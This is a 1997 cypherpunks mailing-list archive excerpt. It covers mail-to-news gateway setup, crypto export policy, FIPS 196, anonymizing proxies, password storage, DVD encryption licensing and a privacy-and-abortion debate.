"The powers not delegated to the United States by the Constitution, nor
prohibited by it to the states, are reserved to the states respectively, or
to the people."

This sounds pretty clear to me.

Theoretically, the states can do whatever they want as long as they don't
infringe on the rights of the people.  The 9th amendment protects all rights
not explicitly stated in the constitution.  The 5th and 14th amendments both
protect people from losing life, liberty, or property without due process.  I
believe that the 14th was used as justification for Roe vs. Wade, since the
court decided that abortion is a liberty and any law forbidding it deprives a
woman of liberty without due process.

Of course, in practice, we know that the situation is much different...


Mark
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From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Mon, 17 Feb 1997 21:11:59 -0800 (PST)
To: cypherpunks@toad.com
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702180511.VAA23668@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From: ichudov@algebra.com (Igor Chudov @ home)

>Bryan Reece wrote:
>> 
>> It receives some Big Usenet groups, but only for local users.
>> alt.cypherpunks is open, but there will be long delays, on the
>> order of a day, for articles there (unless someone better connected to
>> Usenet wants to feed me alt.cypherpunks.*---any volunteers?).

	Well, Lance Cottrell would appear to be a good person to ask
on this matter, but...

>I just set up a recipe for using mail2news gateways like this:

>:0 c
>| formail -I "Newsgroups: alt.cypherpunks,misc.misc" | 		\
>	sendmail mail2news@anon.lcs.mit.edu mail2news@utopia.hacktic.nl

>Any objections?

given that mail2news@anon.lcs.mit.edu gets one of its USENET feeds via
cyberpass.net, it would appear to be unnecessary if this recipe is in
use. However, I do have one problem with this recipe: lack of
loop prevention if a news2mail gateway is going in the other direction.
I don't know, but the mail2news gateway folks may not be too happy with
this idea either, given massively increased load; this is particularly
true since IIRC misc.misc is _not_ the proper place to crosspost stuff
from & to; it's only for stuff that _really_ doesn't fall under any
other category. (I've crossposted this message to the remailer-operators
mailing list to make sure it gets to the operators of the gateways in
question.)

In regards to your later query about whether people want their postings
going to Usenet, might I suggest that this be individual to the given
distributed mailing list? In other words, since the recipe is logically
going to have to not forward to a gateway messages from other mailing
lists (since it's not a good idea to have multiple copies of the same
message arriving at the gateway if it can be helped; better to filter
it out beforehand), some of the mailing lists can forward and the
others cannot. (One could even determine this behavior on application
of the proper X-header, although I never trust various mailing systems
to forward such intact.) The same could also be done with gatewaying
_from_ Usenet - if the news2mail gateway feeds to whatever individual
lists sign up to it and they _don't_ forward such messages to others,
people can decide whether or not to receive Usenet postings on
alt.cypherpunks.* by which list they subscribe to.
	-Allen

P.S. A thank you to Reece for setting up a gateway; I had looked
at the program and did _not_ much like the idea of having to
maintain it on my limited knowledge of C/C++ and mailing
software.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>
Date: Mon, 17 Feb 1997 21:11:25 -0800 (PST)
To: reece@taz.nceye.net
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702180511.VAA23635@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


From:	IN%"reece@taz.nceye.net"  "Bryan Reece" 17-FEB-1997 23:23:10.06

>>   use. However, I do have one problem with this recipe: lack of
>>   loop prevention if a news2mail gateway is going in the other direction.

>All the mailing-list hosts are supposed to check for duplicates before
>forwarding anything, so this shouldn't do anything worse than have a
>few extra copies of each post get discarded, loading the network and
>the hosts a bit more.  But posting the list to a widely-distributed

	Umm... IIRC, the only person who's announced how he's filtering
for duplicates is Igor, and he's just checking for messageIDs. Won't
those get chunked on going through a mail2news gateway, and thus
possibly come back through a news2mail gateway? The filtering
mechanism could be improved via MD5 digests, etcetera (someone's
already given a recipe for such; thank you), but even so various
mungings could still set up a mailing loop. (Yes, I'm paranoid
about those; I may have been reading list-managers for too long and
seen too many stories on there.) The sensible place to keep
track of possible duplicates is at the gateway; it can
certainly filter based on that it (or, for that matter, another
known bidirectional gateway) sent a message out.

>newsgroup seems wrong for noise (both to the list itself and to
>posters) and delay reasons.

	Delay reasons being that mail will go to Usenet, go
all over the place there, and then get replied to later than if
it were just on the mailing list(s)? A potential problem, yes.
But (especially given the options I mentioned below), this
would appear to be a matter for individual users to decide
by which list they go with and any added control headers.
Maximum individual sovreignty (sp?).

>>   In regards to your later query about whether people want their postings
>>   going to Usenet, might I suggest that this be individual to the given
>>   distributed mailing list? In other words, since the recipe is logically
>>   going to have to not forward to a gateway messages from other mailing
>>   lists (since it's not a good idea to have multiple copies of the same
>>   message arriving at the gateway if it can be helped; better to filter
>>   it out beforehand),

>It doesn't seem an especially bad idea, since it 

	Thank you. Were you cut off?

>>   some of the mailing lists can forward and the
>>   others cannot. (One could even determine this behavior on application
>>   of the proper X-header, although I never trust various mailing systems
>>   to forward such intact.) The same could also be done with gatewaying
>>   _from_ Usenet - if the news2mail gateway feeds to whatever individual
>>   lists sign up to it and they _don't_ forward such messages to others,
>>   people can decide whether or not to receive Usenet postings on
>>   alt.cypherpunks.* by which list they subscribe to.

>The code currently running is a perl script that turns typical email
>messages into something INN is happy with.  It is probably possible to
>get your message rejected by INN if you put obsolete or otherwise
>unusual and illegal headers in.  This may be a bug.

	That would probably depend on: A. if any other circumstances
other than deliberately sabotaging your message's translation would
also disrupt its chances of getting through seriously, particularly
if they weren't something you'd spot; and B. if sufficiently bad
messages would disrupt INN's operations too much. You'd know a lot
more than I would in regard to the latter, and probably the former.
I was last a serious participant on USENET on a Vax running VMS
(via Bitnet, as a matter of fact... a while back).
	-Allen





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Greg Broiles <gbroiles@netbox.com>
Date: Tue, 18 Feb 1997 07:26:14 -0800 (PST)
To: Anil Das <das@razor.engr.sgi.com>
Subject: Re: Message-Id / mail2news gateways.
Message-ID: <199702181526.HAA05746@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

At 08:59 PM 2/17/97 -0800, Anil Das wrote:

>1) Please preserver Message-Ids while resending messages.

Yes, this is absolutely crucial if many different systems are going to
cooperatively deal with messages. Message-ID changing is very bad. I sent a
Perl script to Lance (copies to others on request) which can be easily used
as the target of an /etc/aliases entry to gate a mailing list into inews (and
thereby into INN) for processing as a netnews message. (The script preserves
Message-ID.) If we preserve Message-ID's, many sites can have local mail-news
gateways, and we won't (globally) see duplicates. 

>2) In response to Igor's query, I would very much like at least
>on of the distributed lists to be set up such that messages sent
>there will *not* be gatewayed to Usenet.

I don't think this is practical - as I understand things, the corpus (bolus?)
of messages will be available to all comers for their own projects, which may
include mail-news gateways, archives, filtered lists, and so forth(*). People
who send messages to the list shouldn't expect that they'll have any
"privacy" in information sent there. 

(* Modulo copyright, but apparently the industry standards for copyright
issues are:

1.	Ignore them and hope they go away
2.	Pretend to seize control over IP rights of everything posted

neither of which works very well or makes any sense, legally speaking.)

For what it's worth, the list has been gated to two public newsgroups -
albeit not in the Big 7 or alt. - for quite some time. If you think your name
isn't on Usenet, and you've been sending messages to the list, think again.


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--
Greg Broiles                | US crypto export control policy in a nutshell:
gbroiles@netbox.com         | 
http://www.io.com/~gbroiles | Export jobs, not crypto.
                            | 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Mon, 17 Feb 1997 19:22:25 -0800 (PST)
To: ichudov@algebra.com
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702180322.TAA21451@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


   Delivered-To: reece-cpunks-raw@nceye.net
   Date: Mon, 17 Feb 1997 19:07:25 -0600 (CST)
   Cc: cypherpunks@toad.com, wcampbel@peganet.com
   Reply-To: ichudov@algebra.com (Igor Chudov)
   From: ichudov@algebra.com (Igor Chudov @ home)
   X-No-Archive: yes
   Organization: Bool Sheet Software
   X-Mailer: ELM [version 2.4 PL24 ME7]
   Content-Type: text
   Sender: owner-cypherpunks@toad.com
   Precedence: bulk

   Mark M. wrote:
   >  - Newsgroups alt.cypherpunks, alt.cypherpunks.announce,
   > 	alt.cypherpunks.social, alt.cypherpunks.technical have been created.

   ... Along with several others.

   >  - The distributed list is still forming and so far consists of
   > 	cypherpunks@algebra.com, cypherpunks@ssz.com, and others of which I
   > 	do not know the location.  A mail<->news gateway is planned, but not
   > 	yet in place, between the distributed list and the newsgroup(s).

   It is in place. It feeds from cypherpunks@algebra.com. Bryan Reece 
   reece@taz.nceye.net runs the posting bot. taz.nceye.net is an open
   newsserver offering several cypherpunks newsgroups.

   I am not yet sure if taz is now a part of the mainstream usenet, that 
   is, it may not be connected to the Big USENET.

It receives some Big Usenet groups, but only for local users.
alt.cypherpunks is open, but there will be long delays, on the
order of a day, for articles there (unless someone better connected to
Usenet wants to feed me alt.cypherpunks.*---any volunteers?).








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Jeff A. Hale" <csla@intersurf.com>
Date: Tue, 18 Feb 1997 07:41:26 -0800 (PST)
To: cryptography@c2.net
Subject: Re: European crypto export policy
Message-ID: <199702181541.HAA06054@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 02:39 AM 2/18/97 +0100, you (Ulf M=F6ller) wrote:
>Swedish Datateknik 97-02 features an article about how COCOM/ Wassenaar
>Arrangement effects Swedish crypto exports.
>
>I wonder if someone whose Swedish is better than mine could summarize
>the article? It is at http://www.et.se/datateknik/arkiv/97-02/5.html
>
>Datateknik 97-01 reports about pressure for crypto regulations from
>the US, but also from the EU and OECD [the OECD turned out not to
>endorse key escrow shortly after the article was published]. The
>Swedish government is currently collecting facts and opinions; so far
>it remains an open question which standpoint it will take. England is
>preparing a law similar to the French one, while there are policy
>discussions similar to the Swedish going on in Germany and Denmark,
>says G=F6ran Axelsson, Sweden's representative in the EU's IT security
>body.


The Japanese are not far behind.  Using the emotional -- and often
successful -- pretext of "anti-terrorism," (the subway gassing allegedly
committed by the "Aum Cult"), the Japanese Ministry of Justice (JMOJ) is
about to propose a sweeping new wiretapping/electronic eavesdropping statut=
e
-- which insiders predict will sail through the Diet (national legislature)=




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bryan Reece <reece@taz.nceye.net>
Date: Mon, 17 Feb 1997 21:12:01 -0800 (PST)
To: EALLENSMITH@ocelot.Rutgers.EDU
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702180512.VAA23671@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


   Date: Mon, 17 Feb 1997 22:55 EDT
   From: "E. Allen Smith" <EALLENSMITH@ocelot.Rutgers.EDU>



	   Well, Lance Cottrell would appear to be a good person to ask
   on this matter, but...

   >I just set up a recipe for using mail2news gateways like this:

   >:0 c
   >| formail -I "Newsgroups: alt.cypherpunks,misc.misc" | 		\
   >	sendmail mail2news@anon.lcs.mit.edu mail2news@utopia.hacktic.nl

   >Any objections?

   given that mail2news@anon.lcs.mit.edu gets one of its USENET feeds via
   cyberpass.net, it would appear to be unnecessary if this recipe is in
   use. However, I do have one problem with this recipe: lack of
   loop prevention if a news2mail gateway is going in the other direction.

All the mailing-list hosts are supposed to check for duplicates before
forwarding anything, so this shouldn't do anything worse than have a
few extra copies of each post get discarded, loading the network and
the hosts a bit more.  But posting the list to a widely-distributed
newsgroup seems wrong for noise (both to the list itself and to
posters) and delay reasons.

    (I've crossposted this message to the remailer-operators
   mailing list to make sure it gets to the operators of the gateways in
   question.)



   In regards to your later query about whether people want their postings
   going to Usenet, might I suggest that this be individual to the given
   distributed mailing list? In other words, since the recipe is logically
   going to have to not forward to a gateway messages from other mailing
   lists (since it's not a good idea to have multiple copies of the same
   message arriving at the gateway if it can be helped; better to filter
   it out beforehand),

It doesn't seem an especially bad idea, since it 

   some of the mailing lists can forward and the
   others cannot. (One could even determine this behavior on application
   of the proper X-header, although I never trust various mailing systems
   to forward such intact.) The same could also be done with gatewaying
   _from_ Usenet - if the news2mail gateway feeds to whatever individual
   lists sign up to it and they _don't_ forward such messages to others,
   people can decide whether or not to receive Usenet postings on
   alt.cypherpunks.* by which list they subscribe to.
	   -Allen

   P.S. A thank you to Reece for setting up a gateway; I had looked
   at the program and did _not_ much like the idea of having to
   maintain it on my limited knowledge of C/C++ and mailing
   software.

The code currently running is a perl script that turns typical email
messages into something INN is happy with.  It is probably possible to
get your message rejected by INN if you put obsolete or otherwise
unusual and illegal headers in.  This may be a bug.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Tue, 18 Feb 1997 07:26:03 -0800 (PST)
To: cypherpunks@toad.com
Subject: FIPS 196
Message-ID: <199702181526.HAA05718@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


NIST announced in the Federal Register today "that the Secretary 
of Commerce has approved a new standard, which will be published 
as FIPS Publication 196, Entity Authentication Using Public Key 
Cryptography."

   http://jya.com/fips196.txt  (12K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Wed, 19 Feb 1997 22:26:07 -0800 (PST)
To: cryptography@c2.net
Subject: FIPS 196
Message-ID: <199702200626.WAA07966@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


NIST announced in the Federal Register today "that the Secretary 
of Commerce has approved a new standard, which will be published 
as FIPS Publication 196, Entity Authentication Using Public Key 
Cryptography."

   http://jya.com/fips196.txt  (12K)






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Edgar W Swank <edgarswank@juno.com>
Date: Tue, 18 Feb 1997 09:11:29 -0800 (PST)
To: Cypherpunks <cypherpunks@toad.com>
Subject: Any more like www.anonymizer.com ??
Message-ID: <199702181711.JAA07678@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


Does anyone have a list of web proxies for anonymous surfing?

I already know about www.anonymizer.com, and there was a
"canadianizer" that would alter text to make it more "Canadian",
but that is now apparently defunct.

Reason I need to know, a friend in a foreign country has to deal
with a web proxy that blocks "objectionable" sites including
www.anonymizer, so some alternates that might not be blocked
would be welcome.

Edgar W. Swank   <EdgarSwank@Juno.com>
                 (preferred)
Edgar W. Swank   <Edgar_W._Swank@ilanet.org>
                 (for files/msgs >50K)
Home Page: http://members.tripod.com/~EdgarS/index.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Timothy C. May" <tcmay@got.net>
Date: Tue, 18 Feb 1997 09:29:58 -0800 (PST)
To: Alan Barrett <reece@taz.nceye.net>
Subject: Re: Anyone have the complete info on CP list alternatives?
Message-ID: <199702181729.JAA07983@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


At 5:35 PM +0200 2/18/97, Alan Barrett wrote:
>On 18 Feb 1997, Bryan Reece wrote:
>> Filtering out other gateways' messages will reduce load at
>> the possible expense of delay (assuming a smallish network of news
>> servers that feed each other the list; obviously the message will
>> flood the majordomo net before it floods the real usenet unless
>> something is seriously broken).
>
>Why is it obvious that mail propagation will be faster than news
>propagation?  News propagation times of small numbers of seconds are not
>at all uncommon.

News propagation in seconds to your _local server_, or to _distant_
servers? Articles I post do indeed appear "immediately" on my local site,
but certainly not so immediately on distant sites.

The Usenet is thousands of news servers, maybe tens of thousands, and news
feeds take a while...small articles are mixed in with hundreds of megabytes
a day of binaries. A percolation process, as opposed to a point-to-point
process for e-mail.

And I know that my site sometimes does not see articles for tens of hours,
even days, after the initial act of distribution. (Sometimes articles
appear more than a week late...presumably they've been lost to mu site on
some railroad siding someplace.)

This is why people say "News is slower than mail."

--Tim May



Just say "No" to "Big Brother Inside"
We got computers, we're tapping phone lines, I know that that ain't allowed.
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."









From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Tue, 18 Feb 1997 07:41:31 -0800 (PST)
To: "Timothy C. May" <tcmay@got.net>
Subject: Re: Constitution and a Right to Privacy
Message-ID: <199702181541.HAA06067@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



>(And I always thought the "woman's right to privacy" argument for abortion
>was flaky. Accepting such an argument, wouldn't infanticide be equally
>protected by a woman's right to privacy?)
>
>--Tim May

	Whoa! This begs a thoughful response, but I don't have time right
now.  Might it suffice to suggest that a privacy claim -- a demand for
control over what concerns her, her alone, or (on balance) her more than
any other -- seems reasonable to extend to both contraception and early
abortion?  For many of us, by the same logic, and with the same moral
comfort.

	(As the clock slips onward, and the potential viability of the
fetus becomes more likely or certain, I personally believe the woman no
longer exists alone, and the privacy argument becomes conflicted and more
tenuous.   But Tim's golem, Infanticide, is a creature of nightmare --
wholly beyond the pale!)

	To my mind, any attempt to control what is done to the woman's body
(by her choice) while the prospective child is but a bit of enhanced
potential, much much less than a viable child, is an unconstitutional and
morally-invalid attempt by others (the state, the church, the country club)
to pre-empt her will, and prescribe or dictate a wholly new value system
for her.

	Any claim (by the father, the state, the church, etc.) to control
what happens in the moments or days after conception (say, forbidding
RU-whatever, the French drug,) has no more moral authority than any similar
claim to Higher Authority -- to safeguard the potential within her --
which is used to forbid his or her the use of a contraceptive, or which
requires him or her to take a drug which makes multiple pregnancies more
likely.

	I always thought the Jesuits had the logical argument straight.  If
the woman has no inherent right to control her destiny in the languid
aftermath of intercourse (just because she has within herself the potential
of a new life) then she has no claim to self-possession which allows her to
use a contraceptive just before intercourse.  If it is the potential for
new life that allows external authorities to overwhelm her judgment and
violate her privacy, then the case for that Papal Judgement exists before,
during, and after sex.

	Problem is: while logical, the Catholic argument seems silly,
authoritarian, and hopelessly abstract in the face of what many of us
experience as a less dogmatic and vastly more human context. A context in
which the right to privacy or self-possession seems inherent in the people
we are, the people we know, the world as we live it.  (Jesuits have a
certain disadvantage, from this POV;-)

	The fact that this claim of privacy or self-possession apparently
has an echo in the US Constitution (that oh, so-prescient document!) -- and
in the libertarian/liberal proclamations of numerous other nation states --
is a validation, a confirmation... but the Right of privacy, the Claim, is
inherent in our sense of who we are, and our sense of what an individual
is.

	If the philosophers had not considered it in their musings, we
would have to fight harder; we would need to define it as well as defend it
-- but it can only be denied if we denied ourselves, as the serfs of the
Dark Ages were expected to... and did.

	Women as vessels.  Men as vassals.

	Suerte,
		_Vin

         Vin McLellan + The Privacy Guild + <vin@shore.net>
      53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Tue, 18 Feb 1997 07:41:01 -0800 (PST)
To: Cypherpunks <cypherpunks@cyberpass.net
Subject: Raph
Message-ID: <199702181541.HAA06032@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

I have found it convenient to retrieve Raph's list off c'punks, as opposed to
fingering. I do hope this service to the community will continue on one forum
or another.

Thanks.

Alec

 
-----BEGIN PGP SIGNATURE-----
Version: 4.5
Comment: Message PGP 2.6.2. signed/encrypted.  Public key available on
request or from keyservers.

iQCVAgUBMwnJQCKJGkNBIH7lAQFRHgQAtLqCK9vtYgLVp0bU9wSjUoiZ7Wx3ade6
PcQQtOeNSxYy7n5i6qQuAaOTg1rvStOBEYpIDnWHo7p8In1fQE2v0QaOMbYm60QG
Kc/CsoHAvq74PHN6/QdQ6JatyzSVsHL5r7hBEJZQGSFr2DWdW7xTclpqSUtviHHB
X6HtqBfk5Pc=
=cIv9
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Alec <camcc@abraxis.com>
Date: Tue, 18 Feb 1997 09:12:30 -0800 (PST)
To: ichudov@algebra.com
Subject: alt.cypherpunks.ebonics
Message-ID: <199702181712.JAA07739@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


-----BEGIN PGP SIGNED MESSAGE-----

Igor,

A friend, who, in the CP tradition requested to remain anonymous, and I were
doing an informal analysis of those subjects/topics which over the past year
generated the most discussion and, by implication, interest on the CP list.
Since the list at that time was reportedly unmoderated, we felt some weight
should be given to members' interests/desires as measured by their posts,
regardless of the applicability to the list topic.

With the exceptions of AP (oh so clearly way off-topic), list censorship (too
tedious),  and remarks either questioning or affirming the
sexuality/virility/femininity (or lack thereof ) of almost every CP
subscriber, the topic which claimed the most bandwidth was Ebonics. It seemed
to touch on several layers of CP interest: freedom of speech, obfuscation,
tolerance, intolerance, phonetics, linguistics, race warfare,  etc. You name
it; just about every well-known c'punk jumped in to make some urbane
statement on this, sadly, now dead and  ignored issue. Nevertheless, the
bandwidth was there!  

Note; any messages followed by Punctuation Art were excluded if they seemed
to lack "dignity," for want of a better word.

Based on the above stats (available from my friend on request), my anonymous
friend and I request that you add Ebonics as an area of interest to
Cypherpunks in your List Intro.

Please judge this request on its merit and not on what you may think of me or
my anonymous (asexual) friend personally, thereby, by that very action,
initiating a New Order of Cypherpunks!

Thanks for you consideration.

More importantly, thank you for helping to keep this vibrant list alive.

Alec (and friend)
-----BEGIN PGP SIGNATURE-----
Version: 4.5
Comment: Message PGP 2.6.2. signed/encrypted.  Public key available on
request or from keyservers.

iQCVAgUBMwnVrSKJGkNBIH7lAQEl9gP/XIujtLKrVf2l7MaR50rM/BO9wCkYQeHy
7UoISphHlxs8PScnxkw6PQsVHerd+FnxPJQ2xAnCa1gUujxuif8OrsYpInVcfEap
99KkC39DzAe+/zHrOR2Kt7MK+X8267oCIWl4Yt1VBkCSt8ruktCnIXF41ghyuHUt
3N7reRPx6Hs=
=EMeF
-----END PGP SIGNATURE-----






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dan Geer <geer@OpenMarket.com>
Date: Tue, 18 Feb 1997 09:11:34 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: DES and RSA crypto hardware from the free world
Message-ID: <199702181711.JAA07684@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



    These chips look *very* promising.  Who needs Clipper, or HP's
    Clipper-under-another-name, when you can get triple DES from
    the free world at prices like this?

The critical thing is to get the horse out of
the barn before the door is barred.  Each and
every one of these sorts of vendors has to establish
use and distribution on a wide basis before governments
of any stripe start locking down on domestic use.  There
is little time and, yes, I am a paranoid who hopes thereby
to survive.

--dan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Dan Geer <geer@OpenMarket.com>
Date: Thu, 20 Feb 1997 12:56:56 -0800 (PST)
To: pgut001@cs.auckland.ac.nz
Subject: Re: DES and RSA crypto hardware from the free world
Message-ID: <199702202056.MAA22496@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



    These chips look *very* promising.  Who needs Clipper, or HP's
    Clipper-under-another-name, when you can get triple DES from
    the free world at prices like this?

The critical thing is to get the horse out of
the barn before the door is barred.  Each and
every one of these sorts of vendors has to establish
use and distribution on a wide basis before governments
of any stripe start locking down on domestic use.  There
is little time and, yes, I am a paranoid who hopes thereby
to survive.

--dan






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ed Falk <Ed.Falk@Eng.Sun.COM>
Date: Tue, 18 Feb 1997 14:26:34 -0800 (PST)
To: cypherpunks@toad.com
Subject: Interesting question: how to safely keep passwords online
Message-ID: <199702182226.OAA12246@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



Here's a question that's been on my mind lately:  Often, you like
to keep external passwords stored on your personal computer.  As a quick
example, Eudora will remember your POP password for you so you don't
have to enter it every time.  Obviously, Eudora keeps this on disk
somewhere.

The question is: is there any (relatively) safe way to do this?  Obviously,
Eudora encrypt the saved password with some secret key, but this key could
probably be found by examining the code.  A slight improvement would
be for Eudora to generate an encryption key on the fly based on some
external system state, but this is also susceptible to reverse-engineering.

	-ed falk





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Tue, 18 Feb 1997 14:27:04 -0800 (PST)
To: cryptography@c2.net
Subject: Why Digital Video Disks are late to market
Message-ID: <199702182227.OAA12266@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



http://techweb.cmp.com/eet/news/97/942news/encryp.html

To summarize, the Digital Video Disk standard contains an encryption
standard for copyright and anti-piracy protection. however, "some U.S.
PC and silicon vendors have just about abandoned hope of keeping to
their revised launch schedules for DVD-enabled systems."

... as far as anybody knows, "none of the U.S. PC vendors today has a license
to use the DVD-decryption algorithm" in software.

"We all know the situation; we don't have a license," said Michael
Moradzadeh, program manager of Intel's copy-protection task force.

A solution may be in the offing within days. Some sources said late last
week that Matsushita [who owns license rights] and key U.S. computer
companies may resolve the software-licensing issues by the end of this
week. The PC industry seeks amendments to the licensing-agreement language
that would result in equivalent treatment of software- and hardware-based
CSS decryption.

... there apparently has been some speculation among the U.S. PC community
that Matsushita may be stonewalling on the software-licensing issue so that
it can establish its hardware-based decryption solution in the marketplace.

---

Nothing in the article suggests that "national interests" are involved.

Martin Minow
minow@apple.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Martin Minow <minow@apple.com>
Date: Thu, 20 Feb 1997 12:57:23 -0800 (PST)
To: cryptography@c2.net
Subject: Why Digital Video Disks are late to market
Message-ID: <199702202057.MAA22509@toad.com>
MIME-Version: 1.0
Content-Type: text/plain



http://techweb.cmp.com/eet/news/97/942news/encryp.html

To summarize, the Digital Video Disk standard contains an encryption
standard for copyright and anti-piracy protection. however, "some U.S.
PC and silicon vendors have just about abandoned hope of keeping to
their revised launch schedules for DVD-enabled systems."

... as far as anybody knows, "none of the U.S. PC vendors today has a license
to use the DVD-decryption algorithm" in software.

"We all know the situation; we don't have a license," said Michael
Moradzadeh, program manager of Intel's copy-protection task force.

A solution may be in the offing within days. Some sources said late last
week that Matsushita [who owns license rights] and key U.S. computer
companies may resolve the software-licensing issues by the end of this
week. The PC industry seeks amendments to the licensing-agreement language
that would result in equivalent treatment of software- and hardware-based
CSS decryption.

... there apparently has been some speculation among the U.S. PC community
that Matsushita may be stonewalling on the software-licensing issue so that
it can establish its hardware-based decryption solution in the marketplace.

---

Nothing in the article suggests that "national interests" are involved.

Martin Minow
minow@apple.com







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: eickfarm <eickfarm@alpha.shianet.org>
Date: Tue, 18 Feb 1997 14:16:09 -0800 (PST)
To: cypherpunks@toad.com
Subject: Military/Intelligence URL
Message-ID: <199702182216.OAA12092@toad.com>
MIME-Version: 1.0
Content-Type: text/plain


>Return-Path: <owner-cypherpunks@toad.com>
>Date: Tue, 11 Feb 1997 03:22:32 -0500 
>From: harka@nycmetro.com
>To: cypherpunks@toad.com
>Subject: Military/Intelligence URL
>Sender: owner-cypherpunks@toad.com
>Precedence: bulk
>X-UIDL: b0eef8d389443636415db00da7508d3f
>
>-----BEGIN PGP SIGNED MESSAGE-----
>
>Here an page, that deals with various intelligence and military
>institutions...
>
>
> In> Subject: GOVT> AJAX, Government and Military Intelligence
>
> In> http://204.180.198.56:80/ajax/ajax.htm
>
> In> United States and International Government Military and Intelligence
> In> Agency Access
>
> In> Certain Locations Or Sections Thereof May Be Closed To
> In> Unauthorized Use.
> In> PLEASE READ ACCESS WARNINGS, IF ANY, AND ABIDE BY THEM.
> In> (If You Prefer A Frameless Environment, Click HERE.)
> In> Last update: 7 FEBRUARY 1997. All accesses verified at
> In> time of inclusion.
>
> In> CIA                  Central Intelligence Agency
> In> DIA                  Defense Intelligence Agency
> In> NRO                  National Reconnaissance Office
> In> NSA                  National Security Agency
> In> SS                   Secret Service
> In> USCSOI               U.S. Customs Service Office of Investigation
>
> In> ATF                  Bureau of Alcohol, Tobacco and Firearms
> In> BOP                  Federal Bureau of Prisons
> In> CID                  U.S. Army Criminal Investigation Command
> In> COURTS               U.S. Federal Courts
> In> FBI                  Federal Bureau of Investigation
> In> FINCEN               Financial Crimes Enforcement Network
> In> FLETC                Federal Law Enforcement Training Center
> In> MARSHALS             U.S. Marshals Service
> In> NIJ                  National Institute of Justice
> In> ACC                  Air Combat Command
> In> AFSPC                Air Force Space Command
> In> BMDO                 Ballistic Missile Defense Organization
> In> DEFENSE              Defense Department
> In> DISA                 Defense Information Systems Agency
> In> DRMS                 Defense Reutilization and Marketing Service
> In> DTIC                 Defense Technical Information Center
> In> JCS                  Joint Chiefs of Staff
> In> NAVWAN               Naval Aviation Systems Team Wide Area Network
> In> NAWCWPNS             Naval Air Warfare Center Weapons Division
> In> NSWC                 Naval Surface Warfare Center
> In> USAFA                United States Air Force Academy
>
> In> AHPCRC               Army High Performance Computing Research Center
> In> ARPA                 Advanced Research Projects Agency
> In> LABLINK              U.S. Department of Defense Laboratory System
> In> NRL                  The Naval Research Laboratory RL
> In> USAF                 Rome Laboratory for C41 Technology
> In> USACIL               U.S. Army Criminal Investigation Laboratory
>
> In> NATGUARD             Army and Air National Guards
> In> USA                  United States Army
> In> USAF                 United States Air Force
> In> USCG                 United States Coast Guard
> In> USMC                 United States Marine Corps
> In> USN                  United States Navy
>
> In> EPA                  U.S. Environmental Protection Agency
> In> FAA                  Federal Aviation Administration Technical Center
> In> FCC                  Federal Communications Commission
> In> FTC                  Federal Trade Commission
> In> NMFS                 National Marine Fisheries Service
> In> NRC                  Nuclear Regulatory Commission
> In> SEC                  Securities and Exchange Commission
> In> CDC                  Centers for Disease Control and Prevention
> In> CENSUS               U.S. Department of Commerce Bureau of the Census
> In> CONGRESS             U.S. House of Representatives
> In> CUSTOMS              U.S. Customs Service
> In> DOE                  U.S. Department of Energy  National Laboratories
> In> & Programs
> In> EXECUTIVE            The White House
> In> FDIC                 Federal Deposit Insurance Corporation
